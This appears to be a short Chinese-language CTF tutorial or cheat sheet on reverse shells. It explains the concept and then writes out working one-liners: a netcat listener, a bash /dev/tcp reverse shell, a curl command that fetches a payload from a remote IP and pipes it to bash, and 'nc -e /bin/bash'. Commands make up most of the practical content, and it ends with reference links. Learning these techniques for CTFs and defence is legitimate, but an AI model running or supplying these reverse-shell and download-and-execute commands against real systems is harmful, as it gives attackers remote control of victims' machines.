反弹shell
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
在CTF中就是题目端是被控制端,自己服务器是控制端,题目段生成一个反向shell,然后服务器端去连接,将题目端的输入输出转到了自己的服务器上,获得bash,实现反向连接。
方法一:使用linux命令反弹shell
使用场景:命令执行,但是没有回显的情况。
服务器端:
nc -lvp 6767
题目端:
bash -i >& /dev/tcp/服务器端ip/port 0>&1
方法二:curl命令反弹shell
- 服务器端:首先在/var/www/html目录下创建一个文本文件shell.txt 写入bash一句话:
bash -i >& /dev/tcp/192.168.20.151/7777 0>&1
;之后开始监听:nc -lvp port
- 题目端:
curl http://174.1.73.154/shell.txt|bash
方法三:nc命令反弹shell
服务器端:
nc -lvp port
题目端:
nc -e /bin/bash x.x.x.x port
方法四:脚本反弹
python
php
java
ruby
参考资料
https://zhuanlan.zhihu.com/p/138393396
https://www.cnblogs.com/-zhong/p/11398877.html
https://www.cnblogs.com/p0pl4r/p/10643541.html